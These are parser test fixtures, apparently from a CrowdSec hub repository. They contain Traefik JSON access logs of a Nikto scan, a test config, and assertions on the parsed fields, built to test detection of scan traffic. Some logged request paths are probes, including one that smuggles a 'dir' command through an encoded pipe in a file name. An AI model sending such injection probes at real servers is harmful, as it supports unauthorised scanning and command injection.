{"ClientAddr":"172.17.0.1:39496","ClientHost":"172.17.0.1","ClientPort":"39496","ClientUsername":"-","DownstreamContentSize":355,"DownstreamStatus":404,"Duration":347936,"OriginContentSize":355,"OriginDuration":331322,"OriginStatus":200,"Overhead":16614,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":180,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.en","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.574534674Z","StartUTC":"2021-12-08T14:02:43.574534674Z","downstream_Content-Length":"355","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"355","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39496","ClientHost":"172.17.0.1","ClientPort":"39496","ClientUsername":"-","DownstreamContentSize":353,"DownstreamStatus":404,"Duration":265098,"OriginContentSize":353,"OriginDuration":252194,"OriginStatus":200,"Overhead":12904,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":181,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi/","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.576133084Z","StartUTC":"2021-12-08T14:02:43.576133084Z","downstream_Content-Length":"353","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"353","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39496","ClientHost":"172.17.0.1","ClientPort":"39496","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":308938,"OriginContentSize":356,"OriginDuration":292356,"OriginStatus":200,"Overhead":16582,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":182,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.apw","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.577451908Z","StartUTC":"2021-12-08T14:02:43.577451908Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39496","ClientHost":"172.17.0.1","ClientPort":"39496","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":399999,"OriginContentSize":356,"OriginDuration":380478,"OriginStatus":200,"Overhead":19521,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":183,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.pub","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.578718704Z","StartUTC":"2021-12-08T14:02:43.578718704Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39496","ClientHost":"172.17.0.1","ClientPort":"39496","ClientUsername":"-","DownstreamContentSize":357,"DownstreamStatus":404,"Duration":244261,"OriginContentSize":357,"OriginDuration":223929,"OriginStatus":200,"Overhead":20332,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":184,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.chl+","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.580091214Z","StartUTC":"2021-12-08T14:02:43.580091214Z","downstream_Content-Length":"357","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"357","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39496","ClientHost":"172.17.0.1","ClientPort":"39496","ClientUsername":"-","DownstreamContentSize":359,"DownstreamStatus":404,"Duration":229599,"OriginContentSize":359,"OriginDuration":219401,"OriginStatus":200,"Overhead":10198,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":185,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.iso-ru","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.581244591Z","StartUTC":"2021-12-08T14:02:43.581244591Z","downstream_Content-Length":"359","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"359","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39496","ClientHost":"172.17.0.1","ClientPort":"39496","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":234311,"OriginContentSize":356,"OriginDuration":221780,"OriginStatus":200,"Overhead":12531,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":186,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.log","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.582330478Z","StartUTC":"2021-12-08T14:02:43.582330478Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39496","ClientHost":"172.17.0.1","ClientPort":"39496","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":218074,"OriginContentSize":356,"OriginDuration":207677,"OriginStatus":200,"Overhead":10397,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":187,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.dat","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.583439943Z","StartUTC":"2021-12-08T14:02:43.583439943Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39496","ClientHost":"172.17.0.1","ClientPort":"39496","ClientUsername":"-","DownstreamContentSize":384,"DownstreamStatus":404,"Duration":214815,"OriginContentSize":384,"OriginDuration":203441,"OriginStatus":200,"Overhead":11374,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":188,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.rdf+destype=cache+desformat=PDF","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.584504287Z","StartUTC":"2021-12-08T14:02:43.584504287Z","downstream_Content-Length":"384","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"384","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39496","ClientHost":"172.17.0.1","ClientPort":"39496","ClientUsername":"-","DownstreamContentSize":362,"DownstreamStatus":404,"Duration":229727,"OriginContentSize":362,"OriginDuration":214481,"OriginStatus":200,"Overhead":15246,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":189,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.exe%7Cdir","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.585565941Z","StartUTC":"2021-12-08T14:02:43.585565941Z","downstream_Content-Length":"362","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"362","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39496","ClientHost":"172.17.0.1","ClientPort":"39496","ClientUsername":"-","DownstreamContentSize":357,"DownstreamStatus":404,"Duration":357313,"OriginContentSize":357,"OriginDuration":324669,"OriginStatus":200,"Overhead":32644,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":190,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.save","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.587782192Z","StartUTC":"2021-12-08T14:02:43.587782192Z","downstream_Content-Length":"357","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"357","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39496","ClientHost":"172.17.0.1","ClientPort":"39496","ClientUsername":"-","DownstreamContentSize":358,"DownstreamStatus":400,"Duration":564849,"OriginContentSize":358,"OriginDuration":539617,"OriginStatus":200,"Overhead":25232,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":191,"RequestHost":"test.docker.localhost","RequestMethod":"CONNECT","RequestPath":"/594VAEoi.local","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.589545005Z","StartUTC":"2021-12-08T14:02:43.589545005Z","downstream_Content-Length":"358","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"358","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} hub1/.tests/traefik_clf/000077500000000000000000000000001437532772500154255ustar00rootroot00000000000000hub1/.tests/traefik_clf/config.yaml000066400000000000000000000003671437532772500175640ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/traefik-logs.yaml - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - crowdsecurity/http-logs postoverflows: - "" log_file: traefik_clf.log log_type: traefik labels: {} ignore_parsers: false hub1/.tests/traefik_clf/parser.assert000066400000000000000000001376321437532772500201600ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 5 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "172.17.0.1 - - [08/Dec/2021:09:16:05 +0000] \"GET /scripts/cpshost.dll HTTP/1.1\" 200 414 \"-\" \"-\" 500 \"test@docker\" \"http://172.17.0.3:80\" 0ms" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "traefik" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "traefik_clf.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "172.17.0.1 - - [08/Dec/2021:09:16:05 +0000] \"GET /upload.asp?test=toto&tata=test HTTP/1.1\" 200 405 \"-\" \"-\" 502 \"test@docker\" \"http://172.17.0.3:80\" 0ms" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "traefik" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "traefik_clf.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "172.17.0.1 - - [08/Dec/2021:13:59:39 +0000] \"GET /cgi.cgi/ HTTP/1.1\" 200 352 \"-\" \"Nikto\" 240 \"test@docker\" \"http://172.17.0.3:80\" 0ms" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "traefik" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "traefik_clf.log" results["s00-raw"]["crowdsecurity/non-syslog"][3].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["message"] == "172.17.0.1 - - [08/Dec/2021:13:59:39 +0000] \"GET /index?toto=tata HTTP/1.1\" 200 352 \"-\" \"Nikto\" 242 \"test@docker\" \"http://172.17.0.3:80\" 1ms" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["program"] == "traefik" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_path"] == "traefik_clf.log" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][4].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["message"] == "172.17.1.1 - - [28/Sep/2022:13:38:04 +0000] \"GET /mobileadmin/home.cs HTTP/1.1\" - - \"-\" \"Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:006607)\" 45640 \"-\" \"-\" 0ms" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["program"] == "traefik" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_path"] == "traefik_clf.log" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 5 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == false len(results["s01-parse"]["crowdsecurity/traefik-logs"]) == 5 results["s01-parse"]["crowdsecurity/traefik-logs"][0].Success == true results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["http_user_agent"] == "-" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["program"] == "traefik" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["request"] == "/scripts/cpshost.dll" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["request_duration_in_ms"] == "0" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["number_of_requests_received_since_traefik_started"] == "500" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["remote_addr"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["remote_user"] == "-" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["traefik_router_name"] == "test@docker" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["http_referer"] == "-" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["port"] == "80" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["body_bytes_sent"] == "414" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["message"] == "172.17.0.1 - - [08/Dec/2021:09:16:05 +0000] \"GET /scripts/cpshost.dll HTTP/1.1\" 200 414 \"-\" \"-\" 500 \"test@docker\" \"http://172.17.0.3:80\" 0ms" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["status"] == "200" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["time_local"] == "08/Dec/2021:09:16:05 +0000" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["traefik_server_url"] == "http://172.17.0.3:80" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Meta["http_status"] == "200" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Meta["traefik_router_name"] == "test@docker" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Meta["http_path"] == "/scripts/cpshost.dll" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Meta["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Meta["user"] == "-" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Meta["datasource_path"] == "traefik_clf.log" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Success == true results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["http_referer"] == "-" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["http_user_agent"] == "-" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["number_of_requests_received_since_traefik_started"] == "502" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["program"] == "traefik" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["status"] == "200" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["request"] == "/upload.asp?test=toto&tata=test" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["time_local"] == "08/Dec/2021:09:16:05 +0000" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["message"] == "172.17.0.1 - - [08/Dec/2021:09:16:05 +0000] \"GET /upload.asp?test=toto&tata=test HTTP/1.1\" 200 405 \"-\" \"-\" 502 \"test@docker\" \"http://172.17.0.3:80\" 0ms" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["port"] == "80" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["remote_addr"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["remote_user"] == "-" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["body_bytes_sent"] == "405" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["request_duration_in_ms"] == "0" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["traefik_router_name"] == "test@docker" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["traefik_server_url"] == "http://172.17.0.3:80" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Meta["http_path"] == "/upload.asp?test=toto&tata=test" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Meta["http_status"] == "200" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Meta["datasource_path"] == "traefik_clf.log" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Meta["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Meta["traefik_router_name"] == "test@docker" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Meta["user"] == "-" results["s01-parse"]["crowdsecurity/traefik-logs"][2].Success == true results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Parsed["http_user_agent"] == "Nikto" results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Parsed["port"] == "80" results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Parsed["remote_addr"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Parsed["traefik_server_url"] == "http://172.17.0.3:80" results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Parsed["message"] == "172.17.0.1 - - [08/Dec/2021:13:59:39 +0000] \"GET /cgi.cgi/ HTTP/1.1\" 200 352 \"-\" \"Nikto\" 240 \"test@docker\" \"http://172.17.0.3:80\" 0ms" results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Parsed["number_of_requests_received_since_traefik_started"] == "240" results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Parsed["request"] == "/cgi.cgi/" results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Parsed["http_referer"] == "-" results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Parsed["program"] == "traefik" results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Parsed["remote_user"] == "-" results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Parsed["body_bytes_sent"] == "352" results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Parsed["request_duration_in_ms"] == "0" results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Parsed["status"] == "200" results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Parsed["time_local"] == "08/Dec/2021:13:59:39 +0000" results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Parsed["traefik_router_name"] == "test@docker" 